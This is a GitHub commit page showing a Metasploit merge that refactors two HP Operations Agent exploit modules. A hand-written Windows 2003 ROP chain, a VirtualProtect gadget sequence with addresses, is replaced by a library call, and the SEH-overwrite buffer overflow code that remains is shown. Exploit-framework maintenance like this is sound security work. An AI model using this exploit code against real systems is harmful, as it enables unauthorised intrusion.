Skip to content

Commit a8d494c

Browse files
committed
Merge branch 'operations_agent_fixes' of git://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-operations_agent_fixes
2 parents 2664fc8 + 0e3bc7d commit a8d494c

File tree

2 files changed

+10
-62
lines changed

2 files changed

+10
-62
lines changed

modules/exploits/windows/misc/hp_operations_agent_coda_34.rb

Lines changed: 5 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
1212

1313
include Msf::Exploit::Remote::Tcp
1414
include Msf::Exploit::Remote::Seh
15+
include Msf::Exploit::RopDb
1516

1617
def initialize
1718
super(
@@ -182,37 +183,10 @@ def exploit
182183
bof << payload.encoded
183184
bof << rand_text(4000) # Allows to trigger exception
184185
else # Windows 2003
185-
rop_gadgets =
186-
[
187-
0x77bb2563, # POP EAX # RETN
188-
0x77ba1114, # <- *&VirtualProtect()
189-
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
190-
junk,
191-
0x77bb0c86, # XCHG EAX,ESI # RETN
192-
0x77bc9801, # POP EBP # RETN
193-
0x77be2265, # ptr to 'push esp # ret'
194-
0x77bb2563, # POP EAX # RETN
195-
0x03C0990F,
196-
0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)
197-
0x77bb48d3, # POP EBX, RET
198-
0x77bf21e0, # .data
199-
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
200-
0x77bbfc02, # POP ECX # RETN
201-
0x77bef001, # W pointer (lpOldProtect) (-> ecx)
202-
0x77bd8c04, # POP EDI # RETN
203-
0x77bd8c05, # ROP NOP (-> edi)
204-
0x77bb2563, # POP EAX # RETN
205-
0x03c0984f,
206-
0x77bdd441, # SUB EAX, 03c0940f
207-
0x77bb8285, # XCHG EAX,EDX # RETN
208-
0x77bb2563, # POP EAX # RETN
209-
nop,
210-
0x77be6591, # PUSHAD # ADD AL,0EF # RETN
211-
].pack("V*")
212-
bof = Rex::Text.pattern_create(target['RopOffset'])
213-
bof << rop_gadgets
214-
bof << payload.encoded
215-
my_payload_length = target['RopOffset'] + rop_gadgets.length + payload.encoded.length
186+
rop_payload = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'2003'})
187+
bof = rand_text(target['RopOffset'])
188+
bof << rop_payload
189+
my_payload_length = target['RopOffset'] + rop_payload.length
216190
bof << rand_text(target['Offset'] - my_payload_length)
217191
bof << generate_seh_record(target.ret)
218192
bof << rand_text(4000) # Allows to trigger exception

modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb

Lines changed: 5 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
1212

1313
include Msf::Exploit::Remote::Tcp
1414
include Msf::Exploit::Remote::Seh
15+
include Msf::Exploit::RopDb
1516

1617
def initialize
1718
super(
@@ -182,37 +183,10 @@ def exploit
182183
bof << payload.encoded
183184
bof << rand_text(4000) # Allows to trigger exception
184185
else # Windows 2003
185-
rop_gadgets =
186-
[
187-
0x77bb2563, # POP EAX # RETN
188-
0x77ba1114, # <- *&VirtualProtect()
189-
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
190-
junk,
191-
0x77bb0c86, # XCHG EAX,ESI # RETN
192-
0x77bc9801, # POP EBP # RETN
193-
0x77be2265, # ptr to 'push esp # ret'
194-
0x77bb2563, # POP EAX # RETN
195-
0x03C0990F,
196-
0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)
197-
0x77bb48d3, # POP EBX, RET
198-
0x77bf21e0, # .data
199-
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
200-
0x77bbfc02, # POP ECX # RETN
201-
0x77bef001, # W pointer (lpOldProtect) (-> ecx)
202-
0x77bd8c04, # POP EDI # RETN
203-
0x77bd8c05, # ROP NOP (-> edi)
204-
0x77bb2563, # POP EAX # RETN
205-
0x03c0984f,
206-
0x77bdd441, # SUB EAX, 03c0940f
207-
0x77bb8285, # XCHG EAX,EDX # RETN
208-
0x77bb2563, # POP EAX # RETN
209-
nop,
210-
0x77be6591, # PUSHAD # ADD AL,0EF # RETN
211-
].pack("V*")
212-
bof = Rex::Text.pattern_create(target['RopOffset'])
213-
bof << rop_gadgets
214-
bof << payload.encoded
215-
my_payload_length = target['RopOffset'] + rop_gadgets.length + payload.encoded.length
186+
rop_payload = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'2003'})
187+
bof = rand_text(target['RopOffset'])
188+
bof << rop_payload
189+
my_payload_length = target['RopOffset'] + rop_payload.length
216190
bof << rand_text(target['Offset'] - my_payload_length)
217191
bof << generate_seh_record(target.ret)
218192
bof << rand_text(4000) # Allows to trigger exception

0 commit comments

Comments
 (0)